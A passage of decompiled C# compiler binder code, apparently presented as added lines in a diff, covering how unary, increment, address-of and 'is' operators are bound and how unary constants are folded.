CheckConstraintLanguageVersionAndRuntimeSupportForOperator((SyntaxNode)(object)node, signature.Method, isUnsignedRightShift: false, signature.ConstrainedToTypeOpt, diagnostics); + BoundValuePlaceholder boundValuePlaceholder = new BoundValuePlaceholder((SyntaxNode)(object)node, signature.ReturnType).MakeCompilerGenerated(); + BoundExpression boundExpression2 = GenerateConversionForAssignment(type, boundValuePlaceholder, diagnostics, ConversionForAssignmentFlags.IncrementAssignment); + bool flag = boundExpression2.HasErrors; + if (!(boundExpression2 is BoundConversion) && boundExpression2 != boundValuePlaceholder) + { + boundValuePlaceholder = null; + boundExpression2 = null; + } + if (!flag && type.IsVoidPointer()) + { + Error(diagnostics, ErrorCode.ERR_VoidError, node); + flag = true; + } + BoundValuePlaceholder boundValuePlaceholder2 = new BoundValuePlaceholder(boundExpression.Syntax, boundExpression.Type).MakeCompilerGenerated(); + BoundExpression operandConversion = CreateConversion((SyntaxNode)(object)node, boundValuePlaceholder2, unaryOperatorAnalysisResult.Conversion, isCast: false, null, unaryOperatorAnalysisResult.Signature.OperandType, diagnostics); + return new BoundIncrementOperator((SyntaxNode)(object)node, signature.Kind.WithOverflowChecksIfApplicable(CheckOverflowAtRuntime), boundExpression, signature.Method, signature.ConstrainedToTypeOpt, boundValuePlaceholder2, operandConversion, boundValuePlaceholder, boundExpression2, resultKind, originalUserDefinedOperators, type, flag); + } + + private bool CheckConstraintLanguageVersionAndRuntimeSupportForOperator(SyntaxNode node, MethodSymbol? methodOpt, bool isUnsignedRightShift, TypeSymbol? constrainedToTypeOpt, BindingDiagnosticBag diagnostics) + { + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + bool flag = true; + if ((object)methodOpt != null && methodOpt.ContainingType?.IsInterface == true && methodOpt.IsStatic) + { + if (methodOpt.IsAbstract || methodOpt.IsVirtual) + { + if (!(constrainedToTypeOpt is TypeParameterSymbol)) + { + Error(diagnostics, ErrorCode.ERR_BadAbstractStaticMemberAccess, SyntaxNodeOrToken.op_Implicit(node)); + return false; + } + if (Compilation.SourceModule != methodOpt.ContainingModule) + { + flag = CheckFeatureAvailability(node, MessageID.IDS_FeatureStaticAbstractMembersInInterfaces, diagnostics); + if (!Compilation.Assembly.RuntimeSupportsStaticAbstractMembersInInterfaces) + { + Error(diagnostics, ErrorCode.ERR_RuntimeDoesNotSupportStaticAbstractMembersInInterfaces, SyntaxNodeOrToken.op_Implicit(node)); + return false; + } + } + } + else + { + string name = methodOpt.Name; + if ((name == "op_Equality" || name == "op_Inequality") ? true : false) + { + flag = CheckFeatureAvailability(node, MessageID.IDS_FeatureStaticAbstractMembersInInterfaces, diagnostics); + } + } + } + if ((object)methodOpt == null) + { + if (isUnsignedRightShift) + { + flag &= CheckFeatureAvailability(node, MessageID.IDS_FeatureUnsignedRightShift, diagnostics); + } + } + else if (Compilation.SourceModule != methodOpt.ContainingModule) + { + if (SyntaxFacts.IsCheckedOperator(methodOpt.Name)) + { + flag &= CheckFeatureAvailability(node, MessageID.IDS_FeatureCheckedUserDefinedOperators, diagnostics); + } + else if (isUnsignedRightShift) + { + flag &= CheckFeatureAvailability(node, MessageID.IDS_FeatureUnsignedRightShift, diagnostics); + } + } + return flag; + } + + private BoundExpression BindSuppressNullableWarningExpression(PostfixUnaryExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureNullableReferenceTypes.CheckFeatureAvailability(diagnostics, node.OperatorToken); + BoundExpression boundExpression = BindExpression(node.Operand, diagnostics); + BoundKind kind = boundExpression.Kind; + if (kind == BoundKind.TypeExpression || kind == BoundKind.NamespaceExpression) + { + Error(diagnostics, ErrorCode.ERR_IllegalSuppression, SyntaxNodeOrToken.op_Implicit(boundExpression.Syntax)); + } + else if (boundExpression.IsSuppressed) + { + Error(diagnostics, ErrorCode.ERR_DuplicateNullSuppression, SyntaxNodeOrToken.op_Implicit(boundExpression.Syntax)); + } + return boundExpression.WithSuppression(); + } + + private BoundExpression BindPointerIndirectionExpression(PrefixUnaryExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + BoundExpression operand = BindToNaturalType(BindValue(node.Operand, diagnostics, GetUnaryAssignmentKind(node.Kind())), diagnostics); + BindPointerIndirectionExpressionInternal(node, operand, diagnostics, out var pointedAtType, out var hasErrors); + return new BoundPointerIndirectionOperator((SyntaxNode)(object)node, operand, refersToLocation: false, pointedAtType ?? CreateErrorType(), hasErrors); + } + + private static void BindPointerIndirectionExpressionInternal(CSharpSyntaxNode node, BoundExpression operand, BindingDiagnosticBag diagnostics, out TypeSymbol pointedAtType, out bool hasErrors) + { + PointerTypeSymbol pointerTypeSymbol = operand.Type as PointerTypeSymbol; + hasErrors = operand.HasAnyErrors; + if ((object)pointerTypeSymbol == null) + { + pointedAtType = null; + if (!hasErrors) + { + Error(diagnostics, ErrorCode.ERR_PtrExpected, node); + hasErrors = true; + } + return; + } + pointedAtType = pointerTypeSymbol.PointedAtType; + if (pointedAtType.IsVoidType()) + { + pointedAtType = null; + if (!hasErrors) + { + Error(diagnostics, ErrorCode.ERR_VoidError, node); + hasErrors = true; + } + } + } + + private BoundExpression BindAddressOfExpression(PrefixUnaryExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression = BindToNaturalType(BindValue(node.Operand, diagnostics, BindValueKind.AddressOf), diagnostics); + ReportSuppressionIfNeeded(boundExpression, diagnostics); + bool flag = boundExpression.HasAnyErrors; + bool flag2 = SyntaxFacts.IsFixedStatementExpression((SyntaxNode)(object)node); + if (!(boundExpression is BoundLambda) && !(boundExpression is UnboundLambda)) + { + if (boundExpression is BoundMethodGroup operand) + { + return new BoundUnconvertedAddressOfOperator((SyntaxNode)(object)node, operand, flag); + } + TypeSymbol type = boundExpression.Type; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + ManagedKind managedKind = type.GetManagedKind(ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + if (!flag) + { + flag = CheckManagedAddr(Compilation, type, managedKind, ((SyntaxNode)node).Location, diagnostics); + } + bool flag3 = Flags.Includes(BinderFlags.AllowMoveableAddressOf); + if (!flag && !flag3 && IsMoveableVariable(boundExpression, out var _) != flag2) + { + Error(diagnostics, flag2 ? ErrorCode.ERR_FixedNotNeeded : ErrorCode.ERR_FixedNeeded, (CSharpSyntaxNode)node); + flag = true; + } + TypeSymbol type2 = new PointerTypeSymbol(TypeWithAnnotations.Create(type)); + return new BoundAddressOfOperator((SyntaxNode)(object)node, boundExpression, type2, flag); + } + return new BoundAddressOfOperator((SyntaxNode)(object)node, boundExpression, CreateErrorType(), hasErrors: true); + } + + internal bool IsMoveableVariable(BoundExpression expr, out Symbol accessedLocalOrParameterOpt) + { + //IL_01c2: Unknown result type (might be due to invalid IL or missing references) + //IL_01c8: Invalid comparison between Unknown and I4 + //IL_0171: Unknown result type (might be due to invalid IL or missing references) + //IL_0116: Unknown result type (might be due to invalid IL or missing references) + //IL_011b: Unknown result type (might be due to invalid IL or missing references) + //IL_011d: Unknown result type (might be due to invalid IL or missing references) + //IL_0124: Invalid comparison between Unknown and I4 + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_012d: Invalid comparison between Unknown and I4 + accessedLocalOrParameterOpt = null; + while (true) + { + FieldSymbol fieldSymbol; + BoundExpression receiverOpt; + switch (expr.Kind) + { + case BoundKind.FieldAccess: + { + BoundFieldAccess obj = (BoundFieldAccess)expr; + fieldSymbol = obj.FieldSymbol; + receiverOpt = obj.ReceiverOpt; + goto IL_00cc; + } + case BoundKind.EventAccess: + { + BoundEventAccess boundEventAccess = (BoundEventAccess)expr; + if (!boundEventAccess.IsUsableAsField || boundEventAccess.EventSymbol.IsWindowsRuntimeEvent) + { + return true; + } + fieldSymbol = boundEventAccess.EventSymbol.AssociatedField; + receiverOpt = boundEventAccess.ReceiverOpt; + goto IL_00cc; + } + case BoundKind.InlineArrayAccess: + { + BoundInlineArrayAccess boundInlineArrayAccess = (BoundInlineArrayAccess)expr; + WellKnownMember getItemOrSliceHelper = boundInlineArrayAccess.GetItemOrSliceHelper; + if (((int)getItemOrSliceHelper == 400 || (int)getItemOrSliceHelper == 406) ? true : false) + { + expr = boundInlineArrayAccess.Expression; + continue; + } + break; + } + case BoundKind.RangeVariable: + expr = ((BoundRangeVariable)expr).Value; + continue; + case BoundKind.Parameter: + { + ParameterSymbol parameterSymbol = (ParameterSymbol)(accessedLocalOrParameterOpt = ((BoundParameter)expr).ParameterSymbol); + if ((int)parameterSymbol.RefKind != 0) + { + return true; + } + if (parameterSymbol.ContainingSymbol is SynthesizedPrimaryConstructor synthesizedPrimaryConstructor && synthesizedPrimaryConstructor.GetCapturedParameters().ContainsKey(parameterSymbol)) + { + return true; + } + return false; + } + case BoundKind.ThisReference: + case BoundKind.BaseReference: + accessedLocalOrParameterOpt = ContainingMemberOrLambda.EnclosingThisSymbol(); + return true; + case BoundKind.Local: + return (int)((LocalSymbol)(accessedLocalOrParameterOpt = ((BoundLocal)expr).LocalSymbol)).RefKind > 0; + case BoundKind.PointerIndirectionOperator: + case BoundKind.ConvertedStackAllocExpression: + return false; + case BoundKind.PointerElementAccess: + { + if (((BoundPointerElementAccess)expr).Expression is BoundFieldAccess boundFieldAccess && boundFieldAccess.FieldSymbol.IsFixedSizeBuffer) + { + expr = boundFieldAccess.ReceiverOpt; + continue; + } + return false; + } + IL_00cc: + if ((object)fieldSymbol == null || fieldSymbol.IsStatic || receiverOpt == null) + { + return true; + } + if (!CheckValueKind(receiverOpt.Syntax, receiverOpt, BindValueKind.AddressOf, checkingReceiver: false, BindingDiagnosticBag.Discarded)) + { + return true; + } + if (receiverOpt.Type.IsReferenceType) + { + return true; + } + expr = receiverOpt; + continue; + } + break; + } + return true; + } + + private BoundExpression BindUnaryOperator(PrefixUnaryExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + BoundExpression operand = BindToNaturalType(BindValue(node.Operand, diagnostics, GetUnaryAssignmentKind(node.Kind())), diagnostics); + object obj = BindIntegralMinValConstants(node, operand, diagnostics); + if (obj == null) + { + SyntaxToken operatorToken = node.OperatorToken; + obj = BindUnaryOperatorCore(node, ((SyntaxToken)(ref operatorToken)).Text, operand, diagnostics); + } + return (BoundExpression)obj; + } + + private void ReportSuppressionIfNeeded(BoundExpression expr, BindingDiagnosticBag diagnostics) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (expr.IsSuppressed) + { + Error(diagnostics, ErrorCode.ERR_IllegalSuppression, SyntaxNodeOrToken.op_Implicit(expr.Syntax)); + } + } + + private BoundExpression BindUnaryOperatorCore(CSharpSyntaxNode node, string operatorText, BoundExpression operand, BindingDiagnosticBag diagnostics) + { + UnaryOperatorKind unaryOperatorKind = SyntaxKindToUnaryOperatorKind(node.Kind()); + bool flag = operand.IsLiteralNull() || operand.IsImplicitObjectCreation(); + if (flag) + { + Error(diagnostics, ErrorCode.ERR_BadOpOnNullOrDefaultOrNew, node, operatorText, operand.Display); + } + if (!flag) + { + TypeSymbol? type = operand.Type; + if ((object)type == null || !type.IsErrorType()) + { + if (operand.HasDynamicType()) + { + return new BoundUnaryOperator((SyntaxNode)(object)node, unaryOperatorKind.WithType(UnaryOperatorKind.Dynamic).WithOverflowChecksIfApplicable(CheckOverflowAtRuntime), operand, null, null, null, LookupResultKind.Viable, operand.Type); + } + LookupResultKind resultKind; + ImmutableArray originalUserDefinedOperators; + UnaryOperatorAnalysisResult unaryOperatorAnalysisResult = UnaryOperatorOverloadResolution(unaryOperatorKind, operand, node, diagnostics, out resultKind, out originalUserDefinedOperators); + if (!unaryOperatorAnalysisResult.HasValue) + { + ReportUnaryOperatorError(node, diagnostics, operatorText, operand, resultKind); + return new BoundUnaryOperator((SyntaxNode)(object)node, unaryOperatorKind, operand, null, null, null, resultKind, originalUserDefinedOperators, CreateErrorType(), hasErrors: true); + } + UnaryOperatorSignature signature = unaryOperatorAnalysisResult.Signature; + BoundExpression operand2 = CreateConversion(operand.Syntax, operand, unaryOperatorAnalysisResult.Conversion, isCast: false, null, signature.OperandType, diagnostics); + TypeSymbol returnType = signature.ReturnType; + UnaryOperatorKind kind = signature.Kind; + ConstantValue constantValueOpt = FoldUnaryOperator(node, kind, operand2, returnType, diagnostics); + CheckNativeIntegerFeatureAvailability(kind, (SyntaxNode)(object)node, diagnostics); + CheckConstraintLanguageVersionAndRuntimeSupportForOperator((SyntaxNode)(object)node, signature.Method, isUnsignedRightShift: false, signature.ConstrainedToTypeOpt, diagnostics); + return new BoundUnaryOperator((SyntaxNode)(object)node, kind.WithOverflowChecksIfApplicable(CheckOverflowAtRuntime), operand2, constantValueOpt, signature.Method, signature.ConstrainedToTypeOpt, resultKind, returnType); + } + } + return new BoundUnaryOperator((SyntaxNode)(object)node, unaryOperatorKind, operand, null, null, null, LookupResultKind.Empty, CreateErrorType(), hasErrors: true); + } + + private ConstantValue? FoldEnumUnaryOperator(CSharpSyntaxNode syntax, UnaryOperatorKind kind, BoundExpression operand, BindingDiagnosticBag diagnostics) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol enumUnderlyingType = operand.Type.GetEnumUnderlyingType(); + BoundExpression source = CreateConversion(operand, enumUnderlyingType, diagnostics); + SpecialType enumPromotedType = GetEnumPromotedType(enumUnderlyingType.SpecialType); + NamedTypeSymbol namedTypeSymbol = ((enumPromotedType == enumUnderlyingType.SpecialType) ? enumUnderlyingType : GetSpecialType(enumPromotedType, diagnostics, (SyntaxNode)(object)syntax)); + source = CreateConversion(source, namedTypeSymbol, diagnostics); + UnaryOperatorKind kind2 = kind.Operator().WithType(enumPromotedType); + ConstantValue val = FoldUnaryOperator(syntax, kind2, operand, namedTypeSymbol, diagnostics); + if (val != (ConstantValue)null && !val.IsBad) + { + return ((kind.Operator() == UnaryOperatorKind.BitwiseComplement) ? WithCheckedOrUncheckedRegion(@checked: false) : this).FoldConstantNumericConversion((SyntaxNode)(object)syntax, val, enumUnderlyingType, diagnostics); + } + return val; + } + + private ConstantValue? FoldUnaryOperator(CSharpSyntaxNode syntax, UnaryOperatorKind kind, BoundExpression operand, TypeSymbol resultTypeSymbol, BindingDiagnosticBag diagnostics) + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + if (operand.HasAnyErrors) + { + return null; + } + ConstantValue constantValueOpt = operand.ConstantValueOpt; + if (constantValueOpt == (ConstantValue)null || constantValueOpt.IsBad) + { + return constantValueOpt; + } + if (kind.IsEnum() && !kind.IsLifted()) + { + return FoldEnumUnaryOperator(syntax, kind, operand, diagnostics); + } + SpecialType specialType = resultTypeSymbol.SpecialType; + object obj = FoldNeverOverflowUnaryOperator(kind, constantValueOpt); + if (obj != null) + { + return ConstantValue.Create(obj, specialType); + } + try + { + obj = FoldNativeIntegerOverflowingUnaryOperator(kind, constantValueOpt); + } + catch (OverflowException) + { + if (CheckOverflowAtCompileTime) + { + Error(diagnostics, ErrorCode.WRN_CompileTimeCheckedOverflow, syntax, resultTypeSymbol); + } + return null; + } + if (obj != null) + { + return ConstantValue.Create(obj, specialType); + } + if (CheckOverflowAtCompileTime) + { + try + { + obj = FoldCheckedIntegralUnaryOperator(kind, constantValueOpt); + } + catch (OverflowException) + { + Error(diagnostics, ErrorCode.ERR_CheckedOverflow, syntax); + return ConstantValue.Bad; + } + } + else + { + obj = FoldUncheckedIntegralUnaryOperator(kind, constantValueOpt); + } + if (obj != null) + { + return ConstantValue.Create(obj, specialType); + } + return null; + } + + private static object? FoldNeverOverflowUnaryOperator(UnaryOperatorKind kind, ConstantValue value) + { + switch (kind) + { + case UnaryOperatorKind.DecimalUnaryMinus: + return -value.DecimalValue; + case UnaryOperatorKind.FloatUnaryMinus: + case UnaryOperatorKind.DoubleUnaryMinus: + return 0.0 - value.DoubleValue; + case UnaryOperatorKind.DecimalUnaryPlus: + return value.DecimalValue; + case UnaryOperatorKind.FloatUnaryPlus: + case UnaryOperatorKind.DoubleUnaryPlus: + return value.DoubleValue; + case UnaryOperatorKind.LongUnaryPlus: + return value.Int64Value; + case UnaryOperatorKind.ULongUnaryPlus: + return value.UInt64Value; + case UnaryOperatorKind.IntUnaryPlus: + case UnaryOperatorKind.NIntUnaryPlus: + return value.Int32Value; + case UnaryOperatorKind.UIntUnaryPlus: + case UnaryOperatorKind.NUIntUnaryPlus: + return value.UInt32Value; + case UnaryOperatorKind.BoolLogicalNegation: + return !value.BooleanValue; + case UnaryOperatorKind.IntBitwiseComplement: + return ~value.Int32Value; + case UnaryOperatorKind.LongBitwiseComplement: + return ~value.Int64Value; + case UnaryOperatorKind.UIntBitwiseComplement: + return ~value.UInt32Value; + case UnaryOperatorKind.ULongBitwiseComplement: + return ~value.UInt64Value; + default: + return null; + } + } + + private static object? FoldUncheckedIntegralUnaryOperator(UnaryOperatorKind kind, ConstantValue value) + { + return kind switch + { + UnaryOperatorKind.LongUnaryMinus => -value.Int64Value, + UnaryOperatorKind.IntUnaryMinus => -value.Int32Value, + _ => null, + }; + } + + private static object? FoldCheckedIntegralUnaryOperator(UnaryOperatorKind kind, ConstantValue value) + { + return checked(kind switch + { + UnaryOperatorKind.LongUnaryMinus => -value.Int64Value, + UnaryOperatorKind.IntUnaryMinus => -value.Int32Value, + _ => null, + }); + } + + private static object? FoldNativeIntegerOverflowingUnaryOperator(UnaryOperatorKind kind, ConstantValue value) + { + switch (kind) + { + case UnaryOperatorKind.NIntUnaryMinus: + return checked(-value.Int32Value); + case UnaryOperatorKind.NIntBitwiseComplement: + case UnaryOperatorKind.NUIntBitwiseComplement: + return null; + default: + return null; + } + } + + public static UnaryOperatorKind SyntaxKindToUnaryOperatorKind(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.PreIncrementExpression => UnaryOperatorKind.PrefixIncrement, + SyntaxKind.PostIncrementExpression => UnaryOperatorKind.PostfixIncrement, + SyntaxKind.PreDecrementExpression => UnaryOperatorKind.PrefixDecrement, + SyntaxKind.PostDecrementExpression => UnaryOperatorKind.PostfixDecrement, + SyntaxKind.UnaryPlusExpression => UnaryOperatorKind.UnaryPlus, + SyntaxKind.UnaryMinusExpression => UnaryOperatorKind.UnaryMinus, + SyntaxKind.LogicalNotExpression => UnaryOperatorKind.LogicalNegation, + SyntaxKind.BitwiseNotExpression => UnaryOperatorKind.BitwiseComplement, + _ => throw ExceptionUtilities.UnexpectedValue((object)kind), + }; + } + + private static BindValueKind GetBinaryAssignmentKind(SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.SimpleAssignmentExpression: + return BindValueKind.Assignable; + case SyntaxKind.AddAssignmentExpression: + case SyntaxKind.SubtractAssignmentExpression: + case SyntaxKind.MultiplyAssignmentExpression: + case SyntaxKind.DivideAssignmentExpression: + case SyntaxKind.ModuloAssignmentExpression: + case SyntaxKind.AndAssignmentExpression: + case SyntaxKind.ExclusiveOrAssignmentExpression: + case SyntaxKind.OrAssignmentExpression: + case SyntaxKind.LeftShiftAssignmentExpression: + case SyntaxKind.RightShiftAssignmentExpression: + case SyntaxKind.CoalesceAssignmentExpression: + case SyntaxKind.UnsignedRightShiftAssignmentExpression: + return BindValueKind.CompoundAssignment; + default: + return BindValueKind.RValue; + } + } + + private static BindValueKind GetUnaryAssignmentKind(SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.PreIncrementExpression: + case SyntaxKind.PreDecrementExpression: + case SyntaxKind.PostIncrementExpression: + case SyntaxKind.PostDecrementExpression: + return BindValueKind.IncrementDecrement; + default: + return BindValueKind.RValue; + } + } + + private BoundLiteral BindIntegralMinValConstants(PrefixUnaryExpressionSyntax node, BoundExpression operand, BindingDiagnosticBag diagnostics) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + if (node.Kind() != SyntaxKind.UnaryMinusExpression) + { + return null; + } + if ((object)node.Operand != operand.Syntax || operand.Syntax.Kind() != SyntaxKind.NumericLiteralExpression) + { + return null; + } + SyntaxToken token = ((LiteralExpressionSyntax)(object)operand.Syntax).Token; + if (((SyntaxToken)(ref token)).Value is uint) + { + if ((uint)((SyntaxToken)(ref token)).Value != 2147483648u) + { + return null; + } + if (((SyntaxToken)(ref token)).Text.Contains("u") || ((SyntaxToken)(ref token)).Text.Contains("U") || ((SyntaxToken)(ref token)).Text.Contains("l") || ((SyntaxToken)(ref token)).Text.Contains("L")) + { + return null; + } + return new BoundLiteral((SyntaxNode)(object)node, ConstantValue.Create(int.MinValue), GetSpecialType((SpecialType)13, diagnostics, (SyntaxNode)(object)node)); + } + if (((SyntaxToken)(ref token)).Value is ulong) + { + if ((ulong)((SyntaxToken)(ref token)).Value != 9223372036854775808uL) + { + return null; + } + if (((SyntaxToken)(ref token)).Text.Contains("u") || ((SyntaxToken)(ref token)).Text.Contains("U")) + { + return null; + } + return new BoundLiteral((SyntaxNode)(object)node, ConstantValue.Create(long.MinValue), GetSpecialType((SpecialType)15, diagnostics, (SyntaxNode)(object)node)); + } + return null; + } + + private static bool IsDivisionByZero(BinaryOperatorKind kind, ConstantValue valueRight) + { + switch (kind) + { + case BinaryOperatorKind.DecimalDivision: + case BinaryOperatorKind.DecimalRemainder: + return valueRight.DecimalValue == 0.0m; + case BinaryOperatorKind.IntDivision: + case BinaryOperatorKind.NIntDivision: + case BinaryOperatorKind.IntRemainder: + case BinaryOperatorKind.NIntRemainder: + return valueRight.Int32Value == 0; + case BinaryOperatorKind.LongDivision: + case BinaryOperatorKind.LongRemainder: + return valueRight.Int64Value == 0; + case BinaryOperatorKind.UIntDivision: + case BinaryOperatorKind.NUIntDivision: + case BinaryOperatorKind.UIntRemainder: + case BinaryOperatorKind.NUIntRemainder: + return valueRight.UInt32Value == 0; + case BinaryOperatorKind.ULongDivision: + case BinaryOperatorKind.ULongRemainder: + return valueRight.UInt64Value == 0; + default: + return false; + } + } + + private bool IsOperandErrors(CSharpSyntaxNode node, ref BoundExpression operand, BindingDiagnosticBag diagnostics) + { + BoundKind kind = operand.Kind; + if (kind == BoundKind.MethodGroup || kind - 195 <= BoundKind.PropertyEqualsValue) + { + if (!operand.HasAnyErrors) + { + Error(diagnostics, ErrorCode.ERR_LambdaInIsAs, node); + } + operand = BadExpression((SyntaxNode)(object)node, operand).MakeCompilerGenerated(); + return true; + } + if ((object)operand.Type == null && !operand.IsLiteralNull()) + { + if (!operand.HasAnyErrors) + { + Error(diagnostics, ErrorCode.ERR_BadUnaryOp, node, SyntaxFacts.GetText(SyntaxKind.IsKeyword), operand.Display); + } + operand = BadExpression((SyntaxNode)(object)node, operand).MakeCompilerGenerated(); + return true; + } + return operand.HasAnyErrors; + } + + private bool IsOperatorErrors(CSharpSyntaxNode node, TypeSymbol operandType, BoundTypeExpression typeExpression, BindingDiagnosticBag diagnostics) + { + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Invalid comparison between Unknown and I4 + TypeSymbol type = typeExpression.Type; + if (type.IsStatic) + { + Error(diagnostics, ErrorCode.WRN_StaticInAsOrIs, node, type); + } + if (((object)operandType != null && operandType.IsPointerOrFunctionPointer()) || type.IsPointerOrFunctionPointer()) + { + Error(diagnostics, ErrorCode.ERR_PointerInAsOrIs, node); + return true; + } + return (int)type.TypeKind == 6; + } + + protected static bool IsUnderscore(ExpressionSyntax node) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (node is IdentifierNameSyntax identifierNameSyntax) + { + return identifierNameSyntax.Identifier.IsUnderscoreToken(); + } + return false; + } + + private BoundExpression BindIsOperator(BinaryExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0196: Unknown result type (might be due to invalid IL or missing references) + //IL_019b: Unknown result type (might be due to invalid IL or missing references) + //IL_020d: Unknown result type (might be due to invalid IL or missing references) + //IL_0212: Unknown result type (might be due to invalid IL or missing references) + //IL_0272: Unknown result type (might be due to invalid IL or missing references) + //IL_028d: Unknown result type (might be due to invalid IL or missing references) + //IL_0290: Invalid comparison between Unknown and I4 + //IL_02db: Unknown result type (might be due to invalid IL or missing references) + //IL_02e1: Invalid comparison between Unknown and I4 + //IL_02a2: Unknown result type (might be due to invalid IL or missing references) + //IL_02a7: Unknown result type (might be due to invalid IL or missing references) + //IL_0309: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol specialType = GetSpecialType((SpecialType)7, diagnostics, (SyntaxNode)(object)node); + BoundExpression operand = BindRValueWithoutTargetType(node.Left, diagnostics); + bool flag = IsOperandErrors(node, ref operand, diagnostics); + bool flag2 = IsUnderscore(node.Right); + if (!tryBindAsType(node.Right, diagnostics, out var bindAsTypeDiagnostics, out var boundType) && !flag2 && ((CSharpParseOptions)(object)node.SyntaxTree.Options).IsFeatureEnabled(MessageID.IDS_FeaturePatternMatching)) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(diagnostics); + if ((object)operand.Type == null) + { + if (!flag) + { + instance.Add(ErrorCode.ERR_BadPatternExpression, ((SyntaxNode)node.Left).Location, operand.Display); + } + operand = ToBadExpression(operand); + } + bool hasErrors = ((SyntaxNode)node.Right).HasErrors; + ConstantValue constantValueOpt; + bool wasExpression; + Conversion patternExpressionConversion; + BoundExpression boundExpression = BindExpressionForPattern(operand.Type, node.Right, ref hasErrors, instance, out constantValueOpt, out wasExpression, out patternExpressionConversion); + if (wasExpression) + { + hasErrors = hasErrors || constantValueOpt == null; + ((BindingDiagnosticBag)(object)bindAsTypeDiagnostics).Free(); + ((BindingDiagnosticBag)(object)diagnostics).AddRangeAndFree((BindingDiagnosticBag)(object)instance); + BoundConstantPattern pattern = new BoundConstantPattern((SyntaxNode)(object)node.Right, boundExpression, constantValueOpt ?? ConstantValue.Bad, operand.Type, boundExpression.Type ?? operand.Type, hasErrors) + { + WasCompilerGenerated = true + }; + return MakeIsPatternExpression((SyntaxNode)(object)node, operand, pattern, specialType, flag, diagnostics); + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + ((BindingDiagnosticBag)(object)diagnostics).AddRangeAndFree((BindingDiagnosticBag)(object)bindAsTypeDiagnostics); + TypeWithAnnotations typeWithAnnotations = boundType.TypeWithAnnotations; + TypeSymbol type = boundType.Type; + if (type.IsReferenceType && typeWithAnnotations.NullableAnnotation.IsAnnotated()) + { + Error(diagnostics, ErrorCode.ERR_IsNullableType, (CSharpSyntaxNode)node.Right, new object[1] { type }); + flag = true; + } + TypeKind typeKind = type.TypeKind; + if (flag || IsOperatorErrors(node, operand.Type, boundType, diagnostics)) + { + return new BoundIsOperator((SyntaxNode)(object)node, operand, boundType, ConversionKind.NoConversion, specialType, hasErrors: true); + } + if (flag2 && ((CSharpParseOptions)(object)node.SyntaxTree.Options).IsFeatureEnabled(MessageID.IDS_FeatureRecursivePatterns)) + { + diagnostics.Add(ErrorCode.WRN_IsTypeNamedUnderscore, ((SyntaxNode)node.Right).Location, ((object)boundType.AliasOpt) ?? ((object)type)); + } + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + if (operand.ConstantValueOpt == ConstantValue.Null || operand.Kind == BoundKind.MethodGroup || operand.Type.IsVoidType()) + { + Error(diagnostics, ErrorCode.WRN_IsAlwaysFalse, (CSharpSyntaxNode)node, new object[1] { type }); + Conversion conversion = Conversions.ClassifyConversionFromExpression(operand, type, CheckOverflowAtRuntime, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + return new BoundIsOperator((SyntaxNode)(object)node, operand, boundType, conversion.Kind, specialType); + } + if ((int)typeKind == 4) + { + object[] array = new object[3]; + SyntaxToken operatorToken = node.OperatorToken; + array[0] = ((SyntaxToken)(ref operatorToken)).Text; + array[1] = type.Name; + array[2] = GetSpecialType((SpecialType)1, diagnostics, (SyntaxNode)(object)node).Name; + Error(diagnostics, ErrorCode.WRN_IsDynamicIsConfusing, (CSharpSyntaxNode)node, array); + } + TypeSymbol typeSymbol = operand.Type; + if ((int)typeSymbol.TypeKind == 4) + { + typeSymbol = GetSpecialType((SpecialType)1, diagnostics, (SyntaxNode)(object)node); + } + Conversion conversion2 = Conversions.ClassifyBuiltInConversion(typeSymbol, type, CheckOverflowAtRuntime, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + ReportIsOperatorDiagnostics(node, diagnostics, typeSymbol, type, conversion2.Kind, operand.ConstantValueOpt); + return new 